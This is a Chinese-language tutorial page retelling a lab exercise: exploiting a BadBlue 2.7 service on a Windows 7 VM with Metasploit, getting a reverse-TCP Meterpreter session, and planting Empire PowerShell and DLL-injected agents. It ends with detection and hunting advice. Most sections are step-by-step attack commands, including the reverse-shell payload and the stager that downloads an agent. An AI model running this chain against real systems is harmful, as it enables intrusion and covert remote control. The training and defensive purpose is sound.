
网络安全教程【免费下载链接】Infosec_ReferenceAn Information Security Reference That Doesnt Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.项目地址https://gitcode.com/gh_mirrors/in/Infosec_Reference点击查看免费下载本文基于 Infosec_Reference 仓库中的实战写稿 Empire_and_Metasploit_101.md完整还原一个“网络服务利用 主机后渗透”的经典演练场景用 Metasploit 利用 Windows 7 虚拟机上的 BadBlue 服务获得低权限 Meterpreter 会话再通过该会话落地一个 Empire PowerShell Agent并进一步讲解如何生成 DLL Stager、利用现有 Meterpreter 会话执行 DLL 注入将第二个 Empire Agent 直接注入目标内存。读完后你将掌握 Metasploit 从扫描、选模块、设参数到出会话的完整流程以及 Empire “Listener → Stager → Agent” 三段式工作流的实操细节与防御视角。一、演练目标与攻击链总览原文档开篇明确了本次演练的目标Goal网络利用阶段利用网络服务漏洞获取立足点 —— 在 Windows 7 虚拟机上利用 BadBlue 服务的 PassThru 缓冲区溢出得到一个低权限的 Meterpreter 会话后渗透阶段利用这个低权限 shell 在目标机上执行 Empire 的 PowerShell Stager 命令让一个 Empire Agent 在本地 Windows 7 虚拟机上实例化随后熟悉 Empire Agent 提供的各项能力进阶阶段在 Empire 中生成一个DLL Stager再利用已有的 Meterpreter 会话对目标执行DLL 注入攻击把另一个 Empire Agent 直接注入目标内存in-memory不落盘。这条链路体现的正是现代红队工具的典型组合Metasploit 负责“打点”Empire 负责“驻留与任务执行”二者会话互通、能力互补。整个演练默认两台机器位于同一子网1.1.254.*机器IP角色Kali 虚拟机1.1.254.2攻击机Metasploit Empire 服务端Windows 7 虚拟机1.1.254.5受害机运行 BadBlue 2.7 服务两台虚拟机如何导入具体的虚拟化平台原文档交由读者自行处理。二、演练前必须理解Empire 的设计特性原文档在 “Pre-Stuff” 一节强调了几个关于 Empire 的关键事实理解这些特性是后续所有操作的前提跨平台Empire 并非 Windows 专属工具它提供基于 Python 的 Agent可以在 macOS 和 Linux 上运行可配置通信画像Malleable C2 ProfileAgent 与 Listener 之间的通信行为是可配置的这一点与 Cobalt Strike 类似可以使用预置或自制的通信画像以内存驻留为设计目标Empire 被设计为尽可能不在磁盘留痕、尽量停留在内存中例外提醒Empire 中确实存在一部分会触碰磁盘、违反上述原则的模块使用前需要自行甄别。模块的完整列表以 Empire 官方仓库为准仓库在 RT.md 的 Empire 一节中也收录了模块 Wiki、模块合集等延伸资源索引。三、环境准备VM 与软件清单3.1 Windows 7 受害机下载 Windows 7 虚拟机镜像原文档指定使用 Microsoft 开发者工具页提供的 Windows 7 官方 VM 镜像适用于 Edge 浏览器测试的遗留系统镜像在 Windows 7 VM 内部下载并安装BadBlue来自 ExploitDB 的 EXP-16806 所附应用即该服务版本的安装包解压步骤BadBlue 下载的是一个.tar文件需要用 7-Zip 先解出.tar再解出里面的 zip 包最终得到安装程序.exe按普通流程安装即可。BadBlue 是一款轻量级嵌入式 Web 服务器其 2.7 版本存在 PassThru 缓冲区溢出漏洞正是本次演练的被利用服务。3.2 Kali 攻击机下载 Kali Linux 虚拟机镜像并导入虚拟化平台登录 Kali 后执行更新apt update apt upgrade -y安装 Empire原文档引用的是 Empire 官方的 QuickStart 流程git clone Empire 仓库地址 cd Empire ./setup/install.sh ./setup/setup_database.py执行完install.sh与setup_database.py后Empire 即完成安装与初始化配置。四、第一阶段Metasploit 利用 BadBlue 服务在 Kali 上启动 Metasploit 控制台并启动数据库用于存储扫描与利用记录msfconsole4.1 端口扫描与版本探测对 Windows 机器做网络扫描寻找存在漏洞的服务。原文档给出的命令是db_nmap -sS -sV --version-intensity0 -p80 1.1.254.5-sSSYN半开放扫描-sV探测服务版本信息--version-intensity0使用最低强度的版本探测只探测服务自己声称的版本号不发送探测指纹包速度最快-p80只扫 80 端口BadBlue 默认监听 HTTP。扫描结果应能识别出目标 80 端口上运行的是 BadBlue 2.7x 服务。4.2 定位并利用漏洞模块在 msfconsole 中搜索字符串badblue 2.7search badblue 2.7结果中应能注意到模块BadBlue 2.72b PassThru Buffer Overflow。加载并使用该模块use exploit/windows/http/badblue_passthru接下来按 Metasploit 的标准参数检查流程逐项确认show targets # 查看该模块支持的 Target 列表 show options # 查看模块可用选项 set RHOST 1.1.254.5 # 设置目标地址 set payload windows/meterpreter/reverse_tcp # 指定反向 TCP 的 Meterpreter 载荷 show options # 查看载荷相关选项如 LHOST/LPORT set LHOST 1.1.254.2 # 设置回调地址为 Kali 自身 IP show options # 最终复核全部参数 run # 一切正确后直接执行参数逻辑很直接RHOST指向受害机载荷选windows/meterpreter/reverse_tcp所以LHOST必须设为攻击机Kali的 IP受害机才能回调过来。执行成功后你会获得一个活跃的 Meterpreter 会话并停在meterpreter 提示符。此时可以输入help查看可用命令。仓库的 Metasploit 参考页 收录了 MSF/Meterpreter 命令参考、模块目录结构与 Meterpreter 基础资料索引可配合阅读Meterpreter Scripts and Description.txt 则整理了 Meterpreter 脚本的说明。注意此时不要在这个终端继续操作。原文档要求另开一个终端窗口保留 Meterpreter 会话不动进入 Empire 环节。五、第二阶段Empire Listener 与 Stager 生成5.1 Empire 的总体工作流进入 Empire 安装目录以./empire启动。原文档总结了 Empire 的通用工作流只有三步Create listener创建监听器 → Create stager创建投放器 → Stager instantiates/pulls down/runs an Agent投放器实例化、拉取并运行 Agent创建 Listener 的方式是进入 listener 菜单设置相应选项然后执行execute/run。5.2 创建并启动 Listenerlisteners # 进入 listener 菜单 show options # 查看 listener 可用选项 set Name Test1A # 将 listener 命名为 Test1A run # 实例化并开始监听run之后Listener 即开始监听 Agent 的回调。5.3 生成 Launcher Stager回到 Empire 主菜单输入back若不在主菜单则连续back直到回到主菜单然后进入 stagerusestager # 连按两次 Tab 可列出所有可用 stager usestager launcher # 本次只关注 launcher 类型 options # 查看当前 stager 的全部选项 set Listener Test1A # 让 launcher 绑定刚才创建的 listener set OutFile /tmp/test1 # stager 命令输出到该文本文件 options # 复核配置 generate # 生成 stagergenerate之后配置好的 stager 会写入/tmp/test1原文档后文也称该文件为/tmp/test即同一输出文件。打开该文件里面是一行编码后的 PowerShell 命令——它的作用就是从你的 Listener 处下载并运行一个 Agent。把这行命令完整复制下来。关于 Stager 的更多类型与原理原文档指向了 Empire 官方的 Stagers 文档仓库的 RT.md 在 Empire 一节也聚合了通信画像定制Communication Profiles、C2 指标修改、Domain Fronting 等进阶主题的资料索引可作为延伸阅读。六、第三阶段通过 Meterpreter Shell 实例化 Agent回到之前保留的 Meterpreter 会话窗口shell # 从 Meterpreter 进入底层系统 shell把第五步复制下来的那一行 PowerShell 命令粘贴进这个 Windows 命令行并回车。预期现象是Windows 侧命令提示符下没有任何确认输出这正是 stager 的隐蔽性所在Kali 侧 Empire 主菜单会弹出提示告知你有新 Agent接入。至此目标机上的 PowerShell 进程已经作为 Empire Agent 与 Kali 上的Test1AListener 建立了通信链路。七、第四阶段与 Agent 交互并下发模块任务在 Empire 主菜单中你会看到新 Agent 的提示Agent 名是一串半随机的字母数字组合。与 Agent 交互的命令序列为agents # 进入 agents 菜单 interact Agent_Name # 交互指定 Agent进入交互模式后你就可以向该 Agent 下发命令了。这里原文档特别强调了一个必须内化的概念Empire 不是实时real-time工具。它的工作方式是给 Agent 布置任务tasksAgent 执行后把结果上报给对应的 Listener。通过 Agent 可以获得接近实时的响应但它不是实时交互终端更准确的比喻是“跑腿办事的杂役errand-boys”——你派活它办完回报。给 Agent 派活的核心命令是usemodule连按两次 Tab 可以列出当前所有可用的命令模块也可以直接查看 Empire 主仓库的模块目录data/module_source。原文档的经验之谈是大多数模块在代码内部写有良好注释/文件头部的简短描述“如果你要运行它你就该知道它是干什么的”。仓库 RT.md 收录的 “RedTrooperFM – Empire Module Wiki”一页式模块速查表和 Empire API Cheat Sheet 正好弥补了“翻代码”这一环节的效率问题。八、进阶阶段DLL Stager 与 Meterpreter DLL 注入原文档设定的最终目标是在 Agent 交互之后继续推进在 Empire 中生成一个 DLL 类型的 Stager与前面的 PowerShell launcher 同属 Stager 家族但产物是 DLL利用 Windows 7 VM 上已有的 Meterpreter 会话执行 DLL 注入将这个 DLL Stager 注入目标进程内存从而直接以内存方式拉起第二个 Empire Agent全程不落盘。这一阶段的战术价值在于完全绕过“在目标机上运行 PowerShell 命令”这一高可见度动作把第二个 Agent 的落地隐藏在进程内存中与 Empire “尽量内存驻留” 的设计初衷一致。Meterpreter 侧的注入依赖其进程操作能力在meterpreter 下先help查看进程类命令再结合仓库 Meterpreter 脚本说明 理解相关脚本而 Empire 侧的 DLL stager 生成流程与 5.3 节的usestager→options→set→generate模式相同只是 stager 类型换成 DLL 产物。由于原文档对这一阶段的逐步命令未完整展开写稿在 Agent 交互部分收尾此处仅按原文档 Goal 的描述给出阶段定位实际操作细节建议结合 Empire 仓库的 Stagers 文档补齐。九、防御视角如何防守这套攻击链原文档在结尾给出了防守建议Tips for defending against this共三条Procmon 进程记录Process Logging用 Sysinternals Procmon 对进程创建/命令行参数做持续监控。本例中受害机上会凭空出现一条带超长 Base64 载荷的powershell -enc ...命令行这是第一阶段 Agent 落地最直接的暴露点网络日志Network Logging监控 80 端口的 HTTP 流量异常。BadBlue 溢出成功后Test1AListener 与 Agent 之间的回连通信checkin 周期、User-Agent、URI 模式在 PCAP 中可被异常检测发现Hunting Empire针对 Empire 的威胁狩猎针对 Empire C2 基础设施与行为的专项狩猎。仓库中这两个方向都有成体系的资料索引可深入L-SM-TH.mdLogging, Monitoring Threat Hunting收录了多篇以 PowerShell Empire 为样本的攻击检测/威胁狩猎文章包括基于 Windows 事件日志 Graylog 的 Empire 狩猎、用 Sysinternals 检测 Empire 行为、从红队 Metasploit/Empire 攻击样本做异常检测等案例Defense.md 则收录了 Empire 后门清除、用于识别 Empire 持久化载荷的 NorkNork 工具等防守侧资源sysinternals.md 汇总了 Sysinternals 全家桶Procmon 即其中之一的资料。十、本篇涉及的仓库文档索引文档用途Empire_and_Metasploit_101.md本文主体完整演练写稿RT.md红队/渗透测试资料总索引其中 Empire 一节聚合了教程、API 速查、模块 Wiki、通信画像定制等资料metasploit.mdMetasploit 参考页MSF/Meterpreter 命令参考、各类型模块目录索引Meterpreter Scripts and Description.txtMeterpreter 脚本与描述说明L-SM-TH.md日志/监控/威胁狩猎资料索引含多篇 Empire 检测与狩猎文章Defense.md防守资料索引含 Empire 后门清除与持久化识别工具sysinternals.mdWindows 系统内部工具含 Procmon资料索引适用前提与限制本文所有命令均以原文档的演练环境为准——Windows 7 目标BadBlue 2.7 服务与 Kali 攻击机同处1.1.254.*子网BadBlue PassThru 溢出针对的是特定旧版本服务在真实环境前必须先在隔离实验环境复现。此外 Empire 的 Agent/Listener 通信行为可配置性意味着不同通信画像下第五至七节的可见痕迹会有差异防守侧的日志狩猎策略也应随画像调整。赞分享网络安全教程【免费下载链接】Infosec_ReferenceAn Information Security Reference That Doesnt Suck; https://rmusser.net/git/admin-2/Infosec_Reference for non-MS Git hosted version.项目地址https://gitcode.com/gh_mirrors/in/Infosec_Reference点击查看免费下载相关推荐5步跑通GB28181视频监控平台wvp-GB28181-pro摄像头接入、录像回放与级联实战5步跑通GB28181视频监控平台wvp GB28181 pro摄像头接入、录像回放与级联实战 wvp GB28181 pro是一款开箱即用的GB28181安后端音视频前端TencentDB-Agent-Memory Docker 部署实战镜像构建、配置注入与 K8s 落地TencentDB Agent Memory Docker 部署实战镜像构建、配置注入与 K8s 落地 导读 本文以 README.docker.md htt人工智能大模型AI AgentAgent 记忆后端前端MCP 服务SuperPlane Workspace Agent Resources为 Factory 工作区统一注入 MCP 服务器与 SKILL.md 技能的 PRD 落地实践SuperPlane Workspace Agent Resources为 Factory 工作区统一注入 MCP 服务器与 SKILL.md 技能的 PRD上一篇WeKnora 十分钟部署文档问答 RAG 知识库下一篇Diffrax事件处理机制终止事件与稳态检测完整指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考